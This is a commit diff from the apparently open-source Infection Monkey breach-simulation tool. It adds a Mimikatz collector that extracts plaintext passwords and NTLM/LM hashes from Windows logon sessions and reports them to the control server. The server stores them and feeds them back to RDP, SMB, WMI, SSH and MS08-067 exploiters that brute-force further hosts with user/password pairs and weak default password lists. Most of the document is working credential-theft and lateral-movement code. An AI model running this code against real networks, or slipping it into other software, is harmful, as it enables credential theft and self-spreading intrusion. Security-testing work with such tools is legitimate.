Merge pull request #42 from guardicore/feature/add_mimikatz

Feature/add mimikatz
This commit is contained in:
itaymmguardicore 2017-08-21 12:03:03 +03:00 committed by GitHub
commit 54f054a4e7
13 changed files with 201 additions and 91 deletions

View File

@ -153,8 +153,8 @@ See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
Dependent packages
---------------------
Dependency | License |
----------------------------|----------------------------
Dependency | License | Notes
----------------------------|----------------------------|----------------------------
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
PyCrypto | Public domain
upx | Custom license, http://upx.sourceforge.net/upx-license.html
@ -188,3 +188,4 @@ Dependency | License |
winbind | GPL-3
pyinstaller | GPL
Celery | BSD
mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz

View File

@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta
from itertools import product
import uuid
import types
@ -13,7 +14,6 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
def _cast_by_example(value, example):
"""
a method that casts a value to the type of the parameter given as example
@ -204,17 +204,17 @@ class Configuration(object):
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!"
# psexec exploiter
psexec_user = "Administrator"
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
# ssh exploiter
ssh_users = ["root", 'user']
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
# rdp exploiter
rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
return product(self.exploit_user_list, self.exploit_password_list)
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey"
@ -223,4 +223,10 @@ class Configuration(object):
collect_system_info = True
###########################
# systeminfo config
###########################
mimikatz_dll_name = "mk.dll"
WormConfiguration = Configuration()

View File

@ -12,21 +12,6 @@
],
"blocked_ips": [""],
"current_server": "41.50.73.31:5000",
"psexec_passwords": [
"Password1!",
"1234",
"password",
"12345678"
],
"ssh_passwords": [
"Password1!",
"Password",
"1234",
"12345",
"123",
"password",
"12345678"
],
"alive": true,
"collect_system_info": true,
"depth": 2,
@ -63,7 +48,6 @@
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"psexec_user": "Administrator",
"range_size": 30,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
@ -74,11 +58,9 @@
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true,
"ssh_users": [
"root",
"user"
],
"local_network_scan": true,
"exploit_user_list": [],
"exploit_password_list" = []
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 10000,

View File

@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
config_users = self._config.exploit_user_list
config_passwords = self._config.exploit_password_list
user_password_pairs = []
for user in config_users:
for password in config_passwords:
user_password_pairs.append((user, password))
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for password in passwords:
for user, password in user_password_pairs:
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, self._config.psexec_user, password)
host, user, password)
LOG.info("RDP connected to %r", host)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
if client_factory.success:
exploited = True
host.learn_credentials(self._config.psexec_user, password)
host.learn_credentials(user, password)
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password)
report_failed_login(self, host, user, password)
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)

View File

@ -64,19 +64,14 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for password in passwords:
for user, password in user_password_pairs:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
user,
password,
src_path,
self._config.dropper_target_path,
@ -84,18 +79,18 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, self._config.psexec_user, password)
host.learn_credentials(self._config.psexec_user, password)
host, user, password)
host.learn_credentials(user, password)
exploited = True
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password)
report_failed_login(self, host, user, password)
except Exception, exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
user, password, exc)
continue
if not exploited:
@ -118,7 +113,7 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
rpctransport.set_credentials(user, password, host.ip_addr,
"", "", None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

View File

@ -42,20 +42,12 @@ class SSHExploiter(HostExploiter):
is_open, _ = check_port_tcp(host.ip_addr, port)
if not is_open:
LOG.info("SSH port is closed on %r, skipping", host)
return False
return False
passwords = list(self._config.ssh_passwords[:])
users = list(self._config.ssh_users)
known_passwords = [host.get_credentials(x) for x in users]
if len(known_passwords) > 0:
for known_pass in known_passwords:
if known_pass in passwords:
passwords.remove(known_pass)
passwords.insert(0, known_pass) #try first
user_pass = product(users,passwords)
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_pass:
for user, curpass in user_password_pairs:
try:
ssh.connect(host.ip_addr,
username=user,

View File

@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path:
# try other passwords for administrator
for password in self._config.psexec_passwords:
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,

View File

@ -29,14 +29,9 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
user_password_pairs = self._config.get_exploit_user_password_pairs()
for password in passwords:
for user, password in user_password_pairs:
LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password)
@ -44,27 +39,27 @@ class WmiExploiter(HostExploiter):
try:
wmi_connection.connect(host,
self._config.psexec_user,
user,
password)
except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with password '%s'",
host, password)
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
host, user, password)
continue
except DCERPCException, exc:
report_failed_login(self, host, self._config.psexec_user, password)
LOG.debug("Failed connecting to %r using WMI with password '%s'",
host, password)
report_failed_login(self, host, user, password)
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
host, user, password)
continue
except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
host, password, exc)
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
host, user, password, exc)
return False
except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
host, password, exc, traceback.format_exc())
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
host, user, password, exc, traceback.format_exc())
return False
host.learn_credentials(self._config.psexec_user, password)
host.learn_credentials(user, password)
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
@ -78,7 +73,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
user,
password,
src_path,
self._config.dropper_target_path,

View File

@ -105,6 +105,9 @@ class ChaosMonkey(object):
ControlClient.keepalive()
ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]

View File

@ -9,11 +9,15 @@ a = Analysis(['main.py'],
if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
else:
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')],
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles,
a.datas,
name='monkey.exe',

View File

@ -0,0 +1,82 @@
import ctypes
import binascii
import logging
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
"""
def __init__(self):
try:
self._isInit = False
self._config = __import__('config').WormConfiguration
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
"""
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
if not self._isInit:
return {}
try:
entry_count = self._collect()
logon_data_dictionary = {}
for i in range(entry_count):
entry = self._get()
username = str(entry.username)
password = str(entry.password)
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
if has_lm:
logon_data_dictionary[username]["lm_hash"] = lm_hash
if has_ntlm:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
LOG.exception("Error getting logon info")
return {}
class LogonData(ctypes.Structure):
"""
Logon data structure returned from mimikatz.
"""
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
LM_NTLM_HASH_LENGTH = 16
_fields_ = \
[
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]

View File

@ -1,5 +1,5 @@
from . import InfoCollector
from mimikatz_collector import MimikatzCollector
__author__ = 'uri'
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
def get_info(self):
self.get_hostname()
self.get_process_list()
mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info()
return self.info

View File

@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
},
]
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
MONGO_URL = os.environ.get('MONGO_URL')
if not MONGO_URL:
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
timestamp = request.args.get('timestamp')
if guid:
return mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config']['exploit_user_list'] = \
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
monkey_json['config']['exploit_password_list'] = \
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
return monkey_json
else:
result = {'timestamp': datetime.now().isoformat()}
find_filter = {}
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
except:
pass
# Update credentials DB
try:
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
creds = telemetry_json['data']['credentials']
for user in creds:
creds_add_username(user)
if creds[user].has_key('password'):
creds_add_password(creds[user]['password'])
except StandardError as ex:
print("Exception caught while updating DB credentials: %s" % str(ex))
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -259,6 +279,9 @@ class Root(restful.Resource):
mongo.db.config.drop()
mongo.db.monkey.drop()
mongo.db.telemetry.drop()
mongo.db.usernames.drop()
mongo.db.passwords.drop()
init_db()
return {
'status': 'OK',
}
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
return (True, "pis: %s" % pid)
def creds_add_username(username):
mongo.db.usernames.update(
{'username': username},
{'$inc': {'count': 1}},
upsert=True
)
def creds_add_password(password):
mongo.db.passwords.update(
{'password': password},
{'$inc': {'count': 1}},
upsert=True
)
### Local ips function
if sys.platform == "win32":
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
else:
import fcntl
def local_ips():
@ -398,6 +433,17 @@ def send_to_default():
return redirect('/admin/index.html')
def init_db():
if not "usernames" in mongo.db.collection_names():
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
for username in INITIAL_USERNAMES:
creds_add_username(username)
if not "passwords" in mongo.db.collection_names():
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
for password in INITIAL_PASSWORDS:
creds_add_password(password)
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
api = restful.Api(app)
api.representations = DEFAULT_REPRESENTATIONS
@ -414,6 +460,8 @@ if __name__ == '__main__':
from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop
with app.app_context():
init_db()
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
http_server.listen(ISLAND_PORT)
IOLoop.instance().start()